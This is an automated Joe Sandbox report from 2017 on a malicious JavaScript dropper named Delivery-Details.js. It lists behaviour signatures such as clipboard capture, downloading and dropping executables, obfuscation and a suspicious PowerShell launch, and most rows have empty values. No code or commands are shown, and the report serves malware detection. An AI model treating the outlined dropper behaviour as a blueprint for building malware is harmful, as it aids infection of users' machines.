Analysis Report
Overview
General Information |
---|
Joe Sandbox Version: | 18.0.0 |
Analysis ID: | 250843 |
Start time: | 10:39:58 |
Joe Sandbox Product: | Cloud |
Start date: | 10.04.2017 |
Overall analysis duration: | 0h 7m 30s |
Report type: | full |
Sample file name: | Delivery-Details.js |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 7 (Office 2010 v14.0.4, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43) |
Number of analysed new started processes analysed: | 11 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 3 |
Technologies |
|
Detection: | MAL |
Classification: | mal100.evad.winJS@14/17@9/6 |
HCA Information: |
|
EGA Information: |
|
Cookbook Comments: |
|
Warnings: | Show All
|
Detection |
---|
Strategy | Score | Range | Reporting | Detection | |
---|---|---|---|---|---|
Threshold | 100 | 0 - 100 | Report FP / FN |
Confidence |
---|
Strategy | Score | Range | Further Analysis Required? | Confidence | |
---|---|---|---|---|---|
Threshold | 5 | 0 - 5 | false |
Classification |
---|
Analysis Advice |
---|
Sample monitors Window changes (e.g. starting applications), analyze the sample with the 'Simulates keyboard and window changes' cookbook |
Sample sleeps for a long time, analyze it with the 'Bypass long sleeps' cookbook |
Sample tries to load a library which is not present or installed on the analysis machine, update the analysis machine |
Signature Overview |
---|
Click to jump to signature section
Key, Mouse, Clipboard, Microphone and Screen Capturing: |
---|
Contains functionality for read data from the clipboard | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_1_00411087 |
Contains functionality to read the clipboard data | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_1_00411087 |
Creates a window with clipboard capturing capabilities | Show sources |
Source: C:\Windows\System32\mshta.exe | Window created: |
Software Vulnerabilities: |
---|
Found inlined nop instructions (likely shell or obfuscated code) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_0046F39C |
Networking: |
---|
Downloads files | Show sources |
Source: C:\Windows\System32\wscript.exe | File created: |
Downloads files from webservers via HTTP | Show sources |
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: |
Performs DNS lookups | Show sources |
Source: unknown | DNS traffic detected: |
Posts data to webserver | Show sources |
Source: unknown | HTTP traffic detected: |
Urls found in memory or binary data | Show sources |
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe, taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: wscript.exe, taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: exe3.exe | String found in binary or memory: | ||
Source: exe3.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe, taskhost.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: wscript.exe, taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: wscript.exe, explorer.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: taskhost.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: | ||
Source: explorer.exe | String found in binary or memory: |
Downloads executable code via HTTP | Show sources |
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: |
Uses a known web browser user agent for HTTP communication | Show sources |
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: | ||
Source: global traffic | HTTP traffic detected: |
Snort IDS alert for network traffic (e.g. based Emerging Threat rules) | Show sources |
Source: Traffic | Snort IDS: | ||
Source: Traffic | Snort IDS: | ||
Source: Traffic | Snort IDS: | ||
Source: Traffic | Snort IDS: |
Persistence and Installation Behavior: |
---|
Drops PE files | Show sources |
Source: C:\Windows\System32\wscript.exe | File created: | ||
Source: C:\Windows\System32\wscript.exe | File created: | ||
Source: C:\Windows\System32\wscript.exe | File created: | ||
Source: C:\Windows\System32\wscript.exe | File created: | ||
Source: C:\Windows\System32\wscript.exe | File created: | ||
Source: C:\Windows\System32\wscript.exe | File created: |
Data Obfuscation: |
---|
Contains functionality to dynamically determine API calls | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_0040274C |
Generates new code (likely due to unpacking of malware or shellcode) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code execution: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code execution: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Code execution: |
PE file contains an invalid checksum | Show sources |
Source: exe2[1].exe.3012.dr | Static PE information: | ||
Source: exe1[1].exe.3012.dr | Static PE information: | ||
Source: exe1.exe.3012.dr | Static PE information: |
PE file contains sections with non-standard names | Show sources |
Source: exe1[1].exe.3012.dr | Static PE information: | ||
Source: exe1.exe.3012.dr | Static PE information: | ||
Source: exe2[1].exe.3012.dr | Static PE information: |
Uses code obfuscation techniques (call, push, ret) | Show sources |
Source: C:\Windows\System32\wscript.exe | Code function: | 0_2_020A6A76 | |
Source: C:\Windows\System32\wscript.exe | Code function: | 0_2_02026A76 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_0047714D | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_00476B52 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_0043EFC0 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_00477AAC | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_00476DB0 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402208 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402A44 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402A44 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402240 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_004022E0 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_004020FE | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402E12 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402E12 | |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00401DC9 |
Suspicious powershell command line found | Show sources |
Source: unknown | Process created: | ||
Source: C:\Windows\System32\mshta.exe | Process created: |
Spreading: |
---|
Enumerates the file system | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: |
System Summary: |
---|
Reads internet explorer settings | Show sources |
Source: C:\Windows\System32\mshta.exe | Key opened: |
Found graphical window changes (likely an installer) | Show sources |
Source: Window Recorder | Window detected: |
Uses Microsoft Silverlight | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: |
Uses new MSVCR Dlls | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: |
Classification label | Show sources |
Source: classification engine | Classification label: |
Contains functionality to enum processes or threads | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Code function: | 8_2_002E0018 |
Contains functionality to load and extract PE file embedded resources | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402AD0 |
Creates files inside the program directory | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | File created: |
Creates files inside the user directory | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | File created: |
Creates temporary files | Show sources |
Source: C:\Windows\System32\wscript.exe | File created: |
Found command line output | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Console Write: | ||
